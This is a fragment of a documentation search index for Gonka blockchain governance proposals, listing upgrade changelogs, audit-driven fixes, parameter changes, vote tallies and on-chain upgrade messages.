Migration sets new parameters: - PoC parameters (see \"PoC Parameters On-Chain\" in Changes section) - ValidationParams.ExpirationBlocks = 150 - ValidationParams.BinomTestP0 = 0.40 (temporary increase to ensure new payload storage stability) - BandwidthLimitsParams.MaxInferencesPerBlock = 1000 (adds absolute inference count limit per block, in addition to existing bandwidth-based KB limiting; divided among participants)
Commit: 477fb6e81
Moves inference prompts and response payloads off-chain. Only hashes are stored on-chain.
Motivation: Block size limit (22MB) and payload sizes (up to MBs for long responses) constrain throughput below compute capacity. Moving payloads off-chain reduces transaction size to ~500 bytes, removing bandwidth as a bottleneck.
Details: proposals/offchain-payloads/README.md
"}, {"location": "proposals/proposals/2025-q4/16/full-proposal/#transaction-batching", "title": "Transaction Batching", "text": "Commit: 288b37732
Batching for StartInference/FinishInference transactions.
"}, {"location": "proposals/proposals/2025-q4/16/full-proposal/#poc-parameters-on-chain", "title": "PoC Parameters On-Chain", "text": "Commits: 86ebd4d65, 806b01616, f41e05142
PoC parameters moved to on-chain governance. RTarget changed to 1.398077, increasing PoC difficulty ~2.5 times. Weights scaled by 2.5x to maintain absolute values.
"}, {"location": "proposals/proposals/2025-q4/16/full-proposal/#bls-dealershared-recovery", "title": "BLS DealerShared Recovery", "text": "Commit: 5b22aafd5
Enables BLS secret recovery when container restarts.
"}, {"location": "proposals/proposals/2025-q4/16/full-proposal/#nodes-always-available", "title": "Nodes Always Available", "text": "Commit: 093c2e36a
Nodes remain available for inference even when disabled for next epoch.
"}, {"location": "proposals/proposals/2025-q4/16/full-proposal/#nats-storage-fix", "title": "NATS Storage Fix", "text": "Commit: ae938d357
NATS messages retained for 24 hours instead of forever. Resolves issue with large .dapi/.nats directory.
Commit: fe02ed509
Enables reward recovery even when stored seed is missing or corrupted. Seed can now be regenerated deterministically from epoch number, allowing recovery for any epoch.
"}, {"location": "proposals/proposals/2025-q4/16/full-proposal/#epoch-performance-query", "title": "Epoch Performance Query", "text": "Commit: 08ad82a7b
Adds EpochPerformanceSummaryAll query endpoint.
Commit: fae7d20a5
Limits PoC batch queue per GPU to prevent one GPU from accumulating all batches. Ensures even distribution across multiple GPUs.
"}, {"location": "proposals/proposals/2025-q4/16/full-proposal/#claimreward-performance", "title": "ClaimReward Performance", "text": "Commits: 19755e70d, 933eeb296, 8df8a1cf9
Optimizes ClaimReward transaction processing with reservoir sampling, debouncing, and ShouldValidate improvements. Reduces processing time from 1.6s to ~20ms for 1M inferences (~80x speedup). ShouldValidate call optimized from 2800ns to 1030ns (2.7x speedup).
"}, {"location": "proposals/proposals/2025-q4/16/full-proposal/#poc-confirmation-weight-fix-bounty-bug", "title": "PoC Confirmation Weight Fix [Bounty Bug]", "text": "Commit: b44d51e0c
Fixes bug where PoC miners who didn't submit batches during Confirmation PoC incorrectly kept their confirmation weight. Now sets ConfirmationWeight to 0 for participants who didn't submit batches and have weight to confirm.
Found by: maksimenkoff Proposed Reward: 20,000 GNK
"}, {"location": "proposals/proposals/2025-q4/16/full-proposal/#upgrade-rewards-distribution", "title": "Upgrade Rewards Distribution", "text": "Commit: 676f5e620
Upgrade handler includes reward distribution for previous upgrades v0.2.4 and v0.2.5. Rewards are distributed to PR reviewers proportionally to node weight and contributions. Details in upgrades.go.
"}, {"location": "proposals/proposals/2025-q4/17/", "title": "#17 – Expected amount of Confirmation PoC per epoch", "text": "Passed
Proposal ID: 17
Type: Update Params
Submit: 2025-12-25 21:22 UTC
Voting: 2025-12-25 21:22 UTC → 2025-12-26 21:22 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
View on gonka.gg
Expected amount of Confirmation PoC per epoch to 4, p0 for binomial test to 0.1
"}, {"location": "proposals/proposals/2025-q4/17/#final-tally", "title": "Final Tally", "text": "Yes 3,261,413 (100.0%) No 85 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 3,261,498 votes"}, {"location": "proposals/proposals/2025-q4/17/#messages", "title": "Messages", "text": "# Type 1/inference.inference.MsgUpdateParams Contract Details [\n {\n \"@type\": \"/inference.inference.MsgUpdateParams\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"params\": {\n \"epoch_params\": {\n \"epoch_length\": \"15391\",\n \"epoch_multiplier\": \"1\",\n \"epoch_shift\": \"16980\",\n \"default_unit_of_compute_price\": \"100\",\n \"poc_stage_duration\": \"60\",\n \"poc_exchange_duration\": \"5\",\n \"poc_validation_delay\": \"5\",\n \"poc_validation_duration\": \"120\",\n \"set_new_validators_delay\": \"120\",\n \"inference_validation_cutoff\": \"20\",\n \"inference_pruning_epoch_threshold\": \"2\",\n \"inference_pruning_max\": \"5000\",\n \"poc_pruning_max\": \"1000\",\n \"poc_slot_allocation\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"confirmation_poc_safety_window\": \"0\"\n },\n \"validation_params\": {\n \"false_positive_rate\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_ramp_up_measurements\": 10,\n \"pass_value\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"min_validation_average\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"max_validation_average\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"expiration_blocks\": \"150\",\n \"epochs_to_max\": \"30\",\n \"full_validation_traffic_cutoff\": \"10000\",\n \"min_validation_halfway\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"min_validation_traffic_cutoff\": \"100\",\n \"miss_percentage_cutoff\": {\n \"value\": \"1\",\n \"exponent\": -2\n },\n \"miss_requests_penalty\": {\n \"value\": \"1\",\n \"exponent\": 0\n },\n \"timestamp_expiration\": \"300\",\n \"timestamp_advance\": \"30\",\n \"estimated_limits_per_block_kb\": \"0\",\n \"invalid_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"bad_participant_invalidation_rate\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"invalidation_h_threshold\": {\n \"value\": \"4\",\n \"exponent\": 0\n },\n \"downtime_good_percentage\": {\n \"value\": \"98\",\n \"exponent\": -2\n },\n \"downtime_bad_percentage\": {\n \"value\": \"99\",\n \"exponent\": -2\n },\n \"downtime_h_threshold\": {\n \"value\": \"1\",\n \"exponent\": 2\n },\n \"downtime_reputation_preserve\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"quick_failure_threshold\": {\n \"value\": \"1\",\n \"exponent\": -6\n },\n \"binom_test_p0\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"claim_validation_enabled\": false,\n \"logprobs_mode\": \"\"\n },\n \"poc_params\": {\n \"default_difficulty\": 5,\n \"validation_sample_size\": 200,\n \"poc_data_pruning_epoch_threshold\": \"1\",\n \"weight_scale_factor\": {\n \"value\": \"25\",\n \"exponent\": -1\n },\n \"model_params\": {\n \"dim\": 1792,\n \"n_layers\": 64,\n \"n_heads\": 64,\n \"n_kv_heads\": 64,\n \"vocab_size\": 8196,\n \"ffn_dim_multiplier\": {\n \"value\": \"1\",\n \"exponent\": 1\n },\n \"multiple_of\": 8192,\n \"norm_eps\": {\n \"value\": \"1\",\n \"exponent\": -5\n },\n \"rope_theta\": 10000,\n \"use_scaled_rope\": false,\n \"seq_len\": 256,\n \"r_target\": {\n \"value\": \"1398077\",\n \"exponent\": -6\n }\n },\n \"model_id\": \"\",\n \"seq_len\": \"0\",\n \"poc_v2_enabled\": false,\n \"confirmation_poc_v2_enabled\": false,\n \"stat_test\": null,\n \"validation_slots\": 0,\n \"poc_normalization_enabled\": false,\n \"poc_stronger_rng_enabled\": false,\n \"models\": [],\n \"validation_vote_threshold_bps\": 0\n },\n \"tokenomics_params\": {\n \"subsidy_reduction_interval\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"subsidy_reduction_amount\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"current_subsidy_percentage\": {\n \"value\": \"9\",\n \"exponent\": -1\n },\n \"work_vesting_period\": \"180\",\n \"reward_vesting_period\": \"180\"\n },\n \"collateral_params\": {\n \"slash_fraction_invalid\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"slash_fraction_downtime\": {\n \"value\": \"1\",\n \"exponent\": -1\n },\n \"downtime_missed_percentage_threshold\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"grace_period_end_epoch\": \"180\",\n \"base_weight_ratio\": {\n \"value\": \"2\",\n \"exponent\": -1\n },\n \"collateral_per_weight_unit\": {\n \"value\": \"42\",\n \"exponent\": -1\n }\n },\n \"bitcoin_reward_params\": {\n \"use_bitcoin_rewards\": true,\n \"initial_epoch_reward\": \"323000000000000\",\n \"decay_rate\": {\n \"value\": \"-475\",\n \"exponent\": -6\n },\n \"genesis_epoch\": \"1\",\n \"utilization_bonus_factor\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"full_coverage_bonus_factor\": {\n \"value\": \"12\",\n \"exponent\": -1\n },\n \"partial_coverage_bonus_factor\": {\n \"value\": \"1\",\n \"exponent\": -1\n }\n },\n \"dynamic_pricing_params\": {\n \"stability_zone_lower_bound\": {\n \"value\": \"4\",\n \"exponent\": -1\n },\n \"stability_zone_upper_bound\": {\n \"value\": \"6\",\n \"exponent\": -1\n },\n \"price_elasticity\": {\n \"value\": \"5\",\n \"exponent\": -2\n },\n \"utilization_window_duration\": \"60\",\n \"min_per_token_price\": \"1\",\n \"base_per_token_price\": \"100\",\n \"grace_period_end_epoch\": \"90\",\n \"grace_period_per_token_price\": \"100\"\n },\n \"bandwidth_limits_params\": {\n \"estimated_limits_per_block_kb\": \"53760\",\n \"kb_per_input_token\": {\n \"value\": \"23\",\n \"exponent\": -4\n },\n \"kb_per_output_token\": {\n \"value\": \"64\",\n \"exponent\": -2\n },\n \"invalidations_limit\": \"500\",\n \"invalidations_sample_period\": \"120\",\n \"invalidations_limit_curve\": \"250\",\n \"minimum_concurrent_invalidations\": 1,\n \"max_inferences_per_block\": \"1000\"\n },\n \"confirmation_poc_params\": {\n \"expected_confirmations_per_epoch\": \"4\",\n \"alpha_threshold\": {\n \"value\": \"5\",\n \"exponent\": -1\n },\n \"slash_fraction\": {\n \"value\": \"0\",\n \"exponent\": 0\n },\n \"upgrade_protection_window\": \"500\"\n },\n \"genesis_guardian_params\": null,\n \"developer_access_params\": null,\n \"participant_access_params\": null,\n \"transfer_agent_access_params\": null,\n \"devshard_escrow_params\": null,\n \"fee_params\": null,\n \"delegation_params\": null,\n \"maintenance_params\": null\n }\n }\n]\nPassed
Proposal ID: 7
Type: Software Upgrade
Submit: 2025-10-03 04:53 UTC
Voting: 2025-10-03 04:53 UTC → 2025-10-03 07:53 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/b8094aaf75bde4041692675dd9e565286b056896/proposals/governance-artifacts/update-v0.2.3/README.md
View on gonka.gg
Upgrade Proposal: v0.2.3
"}, {"location": "proposals/proposals/2025-q4/7/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2025-q4/7/#upgrade-proposal-v023", "title": "Upgrade Proposal: v0.2.3", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.3. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services and modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing participants are not required to upgrade their api and node containers. The updated container versions are intended for new participants who join after the on-chain upgrade is complete.
Proposed Process: 1. Active participants review this proposal on GitHub. 2. Once the PR is approved by a majority, a v0.2.3 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted. 3. If the on-chain proposal is approved, this PR will be merged immediately after the upgrade is executed on-chain.
Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new participants.
The changes in proxy and proxy-ssl services can be applied asynchronously, off-chain.
The on-chain upgrade from version v0.2.0 to v0.2.2 and then to v0.2.3 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q4/7/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2025-q4/7/#replace-listening-to-tx-events-with-querying-blocks-for-event-data-5830799a390a5303445c0515d1db28ba5d943dcb", "title": "Replace listening to Tx events with querying blocks for event data (5830799a390a5303445c0515d1db28ba5d943dcb)", "text": "All changes are contained in the decentralized-api package. Previously, the system listened to all Tx events from inference and bls modules, as well as any /cosmos.authz.v1beta1.MsgExec transactions. This approach proved unreliable when blocks with large transaction counts are committed, causing subscription channel overflow on the sender side (Cosmos SDK node). This overflow results in subscription termination and failure to deliver future Tx events unless the API node is restarted.
The updated implementation maintains only subscriptions to NewBlock events and queries block contents separately.
Key changes:
tendermint/event/NewBlockBlockObserver in block_observer.goBlockObserver queries events for incoming blocks and tracks the last processed block heightTx event worker pool still initializes in event_listener.go but reads from BlockObserver event queue1fe45b447b070b31fbb7ead59c60634f39116386)", "text": "The fully random seed is replaced with a reproducible seed derived from the signature of the current epoch index. This prevents missed seeds in future epochs.
"}, {"location": "proposals/proposals/2025-q4/7/#certik-audit-fixes-5596c5765c0b449de69f3d6ca03125fa9ff4f63e", "title": "Certik Audit fixes (5596c5765c0b449de69f3d6ca03125fa9ff4f63e)", "text": "Batch of minor fixes addressing Certik audit findings.
"}, {"location": "proposals/proposals/2025-q4/7/#batch-processing-of-inferences-on-validation-49a2976e19379c5935c99063862c9652039bfa5d", "title": "Batch processing of inferences on validation (49a2976e19379c5935c99063862c9652039bfa5d)", "text": "Fixed a bug where the chain failed to process inference batches under high load conditions.
"}, {"location": "proposals/proposals/2025-q4/7/#auto-re-query-of-unclaimed-rewards-52796f18e2b00579f901eb9576a715169e3bfc54", "title": "Auto re-query of unclaimed rewards (52796f18e2b00579f901eb9576a715169e3bfc54)", "text": "Implemented automatic re-querying mechanism for rewards that were not claimed on initial attempt.
"}, {"location": "proposals/proposals/2025-q4/7/#cosmos-sdk-cleanup-c4592d6141232b7677c4d940ac1933aa5d1fe16c", "title": "cosmos-sdk cleanup (c4592d6141232b7677c4d940ac1933aa5d1fe16c)", "text": "Bumps the forked cosmos-sdk dependency from v0.53.3-ps5 to v0.53.3-ps8 (now hosted under github.com/gonka-ai/cosmos-sdk). This version includes code cleanup where significant portions of the staking module were removed as they are no longer needed for the Gonka chain. See https://github.com/gonka-ai/cosmos-sdk/pull/6
80437507ea40eddd67c518074675f9c7970eb627)", "text": "Introduced a new proxy-ssl service for automated TLS certificate management and enhanced the proxy service with SSL/HTTPS support.
proxy-ssl service: - Issues TLS certificates via ACME DNS-01 (Let's Encrypt) for subdomains of a single base domain - Requests require JWT authorization (CERT_ISSUER_JWT_SECRET) - Only subdomains listed in CERT_ISSUER_ALLOWED_SUBDOMAINS under CERT_ISSUER_DOMAIN are permitted - Supports Route53, Cloudflare, Google Cloud DNS, Azure DNS, DigitalOcean DNS, Hetzner DNS - Certificate bundles written to cert_storage_path (default /app/certs) - Runs in disabled mode if configuration is missing/invalid (serves only /health)
proxy service updates: - Multi-mode operation: NGINX_MODE supports http, https, or both - Automated SSL setup via setup-ssl.sh script with integration to proxy-ssl service - Background certificate renewal loop (configurable via RENEW_BEFORE_DAYS) - Alternative manual certificate support via SSL_CERT_SOURCE mount - Unified nginx.unified.conf.template configuration - Consistent KEY_NAME_PREFIX support across all upstream services - Added Authorization header forwarding - Corrected gRPC proxy directives to use grpc_* instead of proxy_* - Configurable DNS resolver for dynamic upstream re-resolution
See proxy/README.md and proxy-ssl/README.md for detailed configuration options.
/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.3\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"645400\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.3/inferenced-amd64.zip?checksum=sha256:7620b93420cc79087c04804b8d6bddf51da225877e9d7e872725076aee1e7c61\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.3/decentralized-api-amd64.zip?checksum=sha256:41544b9a38df77e5cec1807db3e7a0598f13a26c24e4baa68022795dc62c406e\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.3. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services and modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing participants are not required to upgrade their api and node containers. The updated container versions are intended for new participants who join after the on-chain upgrade is complete.
Proposed Process: 1. Active participants review this proposal on GitHub. 2. Once the PR is approved by a majority, a v0.2.3 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted. 3. If the on-chain proposal is approved, this PR will be merged immediately after the upgrade is executed on-chain.
Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new participants.
The changes in proxy and proxy-ssl services can be applied asynchronously, off-chain.
The on-chain upgrade from version v0.2.0 to v0.2.2 and then to v0.2.3 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q4/7/full-proposal/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2025-q4/7/full-proposal/#replace-listening-to-tx-events-with-querying-blocks-for-event-data-5830799a390a5303445c0515d1db28ba5d943dcb", "title": "Replace listening to Tx events with querying blocks for event data (5830799a390a5303445c0515d1db28ba5d943dcb)", "text": "All changes are contained in the decentralized-api package. Previously, the system listened to all Tx events from inference and bls modules, as well as any /cosmos.authz.v1beta1.MsgExec transactions. This approach proved unreliable when blocks with large transaction counts are committed, causing subscription channel overflow on the sender side (Cosmos SDK node). This overflow results in subscription termination and failure to deliver future Tx events unless the API node is restarted.
The updated implementation maintains only subscriptions to NewBlock events and queries block contents separately.
Key changes:
tendermint/event/NewBlockBlockObserver in block_observer.goBlockObserver queries events for incoming blocks and tracks the last processed block heightTx event worker pool still initializes in event_listener.go but reads from BlockObserver event queue1fe45b447b070b31fbb7ead59c60634f39116386)", "text": "The fully random seed is replaced with a reproducible seed derived from the signature of the current epoch index. This prevents missed seeds in future epochs.
"}, {"location": "proposals/proposals/2025-q4/7/full-proposal/#certik-audit-fixes-5596c5765c0b449de69f3d6ca03125fa9ff4f63e", "title": "Certik Audit fixes (5596c5765c0b449de69f3d6ca03125fa9ff4f63e)", "text": "Batch of minor fixes addressing Certik audit findings.
"}, {"location": "proposals/proposals/2025-q4/7/full-proposal/#batch-processing-of-inferences-on-validation-49a2976e19379c5935c99063862c9652039bfa5d", "title": "Batch processing of inferences on validation (49a2976e19379c5935c99063862c9652039bfa5d)", "text": "Fixed a bug where the chain failed to process inference batches under high load conditions.
"}, {"location": "proposals/proposals/2025-q4/7/full-proposal/#auto-re-query-of-unclaimed-rewards-52796f18e2b00579f901eb9576a715169e3bfc54", "title": "Auto re-query of unclaimed rewards (52796f18e2b00579f901eb9576a715169e3bfc54)", "text": "Implemented automatic re-querying mechanism for rewards that were not claimed on initial attempt.
"}, {"location": "proposals/proposals/2025-q4/7/full-proposal/#cosmos-sdk-cleanup-c4592d6141232b7677c4d940ac1933aa5d1fe16c", "title": "cosmos-sdk cleanup (c4592d6141232b7677c4d940ac1933aa5d1fe16c)", "text": "Bumps the forked cosmos-sdk dependency from v0.53.3-ps5 to v0.53.3-ps8 (now hosted under github.com/gonka-ai/cosmos-sdk). This version includes code cleanup where significant portions of the staking module were removed as they are no longer needed for the Gonka chain. See https://github.com/gonka-ai/cosmos-sdk/pull/6
80437507ea40eddd67c518074675f9c7970eb627)", "text": "Introduced a new proxy-ssl service for automated TLS certificate management and enhanced the proxy service with SSL/HTTPS support.
proxy-ssl service: - Issues TLS certificates via ACME DNS-01 (Let's Encrypt) for subdomains of a single base domain - Requests require JWT authorization (CERT_ISSUER_JWT_SECRET) - Only subdomains listed in CERT_ISSUER_ALLOWED_SUBDOMAINS under CERT_ISSUER_DOMAIN are permitted - Supports Route53, Cloudflare, Google Cloud DNS, Azure DNS, DigitalOcean DNS, Hetzner DNS - Certificate bundles written to cert_storage_path (default /app/certs) - Runs in disabled mode if configuration is missing/invalid (serves only /health)
proxy service updates: - Multi-mode operation: NGINX_MODE supports http, https, or both - Automated SSL setup via setup-ssl.sh script with integration to proxy-ssl service - Background certificate renewal loop (configurable via RENEW_BEFORE_DAYS) - Alternative manual certificate support via SSL_CERT_SOURCE mount - Unified nginx.unified.conf.template configuration - Consistent KEY_NAME_PREFIX support across all upstream services - Added Authorization header forwarding - Corrected gRPC proxy directives to use grpc_* instead of proxy_* - Configurable DNS resolver for dynamic upstream re-resolution
See proxy/README.md and proxy-ssl/README.md for detailed configuration options.
Passed
Proposal ID: 8
Type: Software Upgrade
Submit: 2025-10-22 05:46 UTC
Voting: 2025-10-22 05:46 UTC → 2025-10-22 08:46 UTC
Proposer: gonka18lluv53n4h9z34qu20vxcvypgdkhsg6nn2cl2d
Metadata: https://github.com/gonka-ai/gonka/blob/12a09bb24c1f668a23f0e85bbf277e6010603921/proposals/governance-artifacts/update-v0.2.4/README.md
View on gonka.gg
Upgrade Proposal: v0.2.4
"}, {"location": "proposals/proposals/2025-q4/8/#full-proposal", "title": "Full Proposal", "text": "Full proposal — click to expand · Open in separate page →"}, {"location": "proposals/proposals/2025-q4/8/#upgrade-proposal-v024", "title": "Upgrade Proposal: v0.2.4", "text": "This document outlines the proposed changes for on-chain software upgrade v0.2.4. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services and modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing participants are not required to upgrade their api and node containers. The updated container versions are intended for new participants who join after the on-chain upgrade is complete.
Proposed Process: 1. Active participants review this proposal on GitHub. 2. Once the PR is approved by a majority, a v0.2.4 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted. 3. If the on-chain proposal is approved, this PR will be merged immediately after the upgrade is executed on-chain.
Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new participants.
New MLNode container v3.0.10 is fully compartible with v3.0.9 and can be updated asyncronously at any time. Important: to support new features as models auto-downloading, HF_HUB_OFFLINE should be disabled (env variable removed from deploy/join/docker-compose.mlnode.yml).
The on-chain upgrade from version v0.2.3-patch2 to v0.2.4 has been successfully deployed and verified on the testnet.
We encourage all reviewers to request access to our testnet environment to validate the upgrade. Alternatively, reviewers can test the on-chain upgrade process on their own private testnets.
"}, {"location": "proposals/proposals/2025-q4/8/#changes", "title": "Changes", "text": ""}, {"location": "proposals/proposals/2025-q4/8/#training-security", "title": "Training Security", "text": "See the commits related to this change here and here
"}, {"location": "proposals/proposals/2025-q4/8/#overview", "title": "Overview", "text": "Training in Gonka is not ready for broad use. However, all training messages are currently available, causing both confusion and an attack surface for DoS attachs
"}, {"location": "proposals/proposals/2025-q4/8/#solution", "title": "Solution", "text": "All training related messages are now behind two allow lists (EXEC to run training tasks, START to initiate training). The lists are controlled via governance votes.
This also addresses several Certik audit issues.
"}, {"location": "proposals/proposals/2025-q4/8/#major-certik-audit-fixes", "title": "Major Certik Audit fixes", "text": "This is a set of fixes that address issues found in the Certik Audit that required more substantial fixes in the code. References to the specific Certik issue are in parenthesis The overall changes can be seen here
"}, {"location": "proposals/proposals/2025-q4/8/#pubkey-must-match-address", "title": "Pubkey must match address", "text": "When adding a new Participant, the pubkey must match the address (GOC-12). Specific changes here
"}, {"location": "proposals/proposals/2025-q4/8/#panic-avoidance-during-endblock", "title": "Panic avoidance during EndBlock", "text": "Panics during EndBlock will cause consensus failure. These are a set of changes to avoid possible panics, either explicitly called or through methods starting with Must. (GOC-13, GOI-24) Changes are here and here
While replay attacks are primarily avoided via Signature dedupe for InferenceId, after pruning older inferences could be replayed. This adds on-chain checks for old inferences being replayed. (GOI-01). Changes are here
"}, {"location": "proposals/proposals/2025-q4/8/#pruning-improvements", "title": "Pruning Improvements", "text": "The first version of pruning was crude and liable to issues as scale increased as all pruning would take place in a single block. This introduces a more scalable version of pruning that will prune a given number of items each block until all items are pruned, and introduces a generic Pruner that can be re-used for this logic for other items as needed. (GOC-14). Changes are here and here
MsgValidate had zero limits, allowing even non-participants to submit invalidations, requiring and expensive chain-wide revalidation each time. Even inadvertent invalidations could cause significant strain on the chain, and have caused one chain halt.
There are several fixes to address this: 1. No longer include the ResponsePayload in MsgValidate (this was 90%+ of the message size) 2. Check that a validator is an active participant AND has the model for the Inference being validated 3. Add limits to the number of Invalidations allowed for each Participant (based on Power and Reputation)
Code is here and here
"}, {"location": "proposals/proposals/2025-q4/8/#config-management-improvements-for-api-nodes", "title": "Config Management Improvements for API nodes", "text": ""}, {"location": "proposals/proposals/2025-q4/8/#config-storage", "title": "Config Storage", "text": "Config Management was entirely file based for API nodes. While this was adequate for infrequently or never changing attributes such as URLs, account addresses or network settings, it is not performant or safe for frequently changing values such as block height, node data or seed info.
"}, {"location": "proposals/proposals/2025-q4/8/#solution_1", "title": "Solution", "text": "Introduce a file based SqlLite DB to handle changing values and synchronize them for the API node.
Source code is here
"}, {"location": "proposals/proposals/2025-q4/8/#mlnode-management-api", "title": "MLNode management api", "text": "REST API is becoming new main way to manage MLNodes. node-config.json is used only at the first load.
New endpoint PUT /admin/nodes/:id is introduce to update MLNode infor without deleting.
We use unordered transactions. Each transaction has a TTL—the time window within which the transaction must be executed. Some transactions are sent with a retry: we send repeatedly until we confirm that the transaction has made it to the chain
"}, {"location": "proposals/proposals/2025-q4/8/#problem", "title": "Problem", "text": "Under heavy load or other extreme circumstances, the chain blocks can begin to slow or even halt. Since transactions are compared with block time for TTL and signed with node machine time, the drift would result in all messages being rejected as being ahead of block time. They are then resent, further propagating the error and resulting in additional strain on the network as it tries to recover.
"}, {"location": "proposals/proposals/2025-q4/8/#solution_2", "title": "Solution", "text": "Source code is here
"}, {"location": "proposals/proposals/2025-q4/8/#support-small-gpus-on-testnet", "title": "Support small GPUs on TestNet", "text": ""}, {"location": "proposals/proposals/2025-q4/8/#problem_1", "title": "Problem", "text": "testnet should support smaller GPUs in order to encourage bigger participation in testnet, increasing tests and therefore network robustness.
Far more details available in the PR description at the top here, but a summary: 1. Add new Endpoints to the ML Node that allow checking status of model downloads and other properties 2. Add new Endpoints to the ML Node that checking GPU status and drivers 3. Improvements in vLLM Stability deployment, as well as additional status APIs to check on progress 4. Integration of the above with the API node, with background pre-downloading of upcoming epochs and updating hardware on the chain.
"}, {"location": "proposals/proposals/2025-q4/8/#health-endpoints-for-mlnode-and-experimental-auto-detection-for-node-setup-issues-here", "title": "Health endpoints for MLNode and experimental auto-detection for node setup issues here", "text": ""}, {"location": "proposals/proposals/2025-q4/8/#final-tally", "title": "Final Tally", "text": "Yes 286,826 (100.0%) No 0 (0.0%) Veto 0 (0.0%) Abstain 0 (0.0%) Total 286,826 votes"}, {"location": "proposals/proposals/2025-q4/8/#messages", "title": "Messages", "text": "# Type 1/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade Contract Details [\n {\n \"@type\": \"/cosmos.upgrade.v1beta1.MsgSoftwareUpgrade\",\n \"authority\": \"gonka10d07y265gmmuvt4z0w9aw880jnsr700j2h5m33\",\n \"plan\": {\n \"name\": \"v0.2.4\",\n \"time\": \"0001-01-01T00:00:00Z\",\n \"height\": \"937700\",\n \"info\": \"{\\n \\\"binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.4/inferenced-amd64.zip?checksum=sha256:ea00bbc6a40aab85ec0192851a800ac803c8f9513fa4bac8b75545aeacd3bf64\\\"\\n },\\n \\\"api_binaries\\\": {\\n \\\"linux/amd64\\\": \\\"https://github.com/gonka-ai/gonka/releases/download/release%2Fv0.2.4/decentralized-api-amd64.zip?checksum=sha256:0a26945bc43bd8be11538197cf78d3689fa7d46d0b6eb7ee997d53079feef2b0\\\"\\n }\\n }\",\n \"upgraded_client_state\": null\n }\n }\n]\nThis document outlines the proposed changes for on-chain software upgrade v0.2.4. The Changes section details the major modifications, and the Upgrade Plan section describes the process for applying these changes.
This PR updates the code for the api and node services and modifies the container versions in deploy/join/docker-compose.yml.
The binary versions will be updated via an on-chain upgrade proposal. For more information on the upgrade process, refer to /docs/upgrades.md.
Existing participants are not required to upgrade their api and node containers. The updated container versions are intended for new participants who join after the on-chain upgrade is complete.
Proposed Process: 1. Active participants review this proposal on GitHub. 2. Once the PR is approved by a majority, a v0.2.4 release will be created from this branch, and an on-chain upgrade proposal for this version will be submitted. 3. If the on-chain proposal is approved, this PR will be merged immediately after the upgrade is executed on-chain.
Creating the release from this branch (instead of main) minimizes the time that the /deploy/join/ directory on the main branch contains container versions that do not match the on-chain binary versions, ensuring a smoother onboarding experience for new participants.
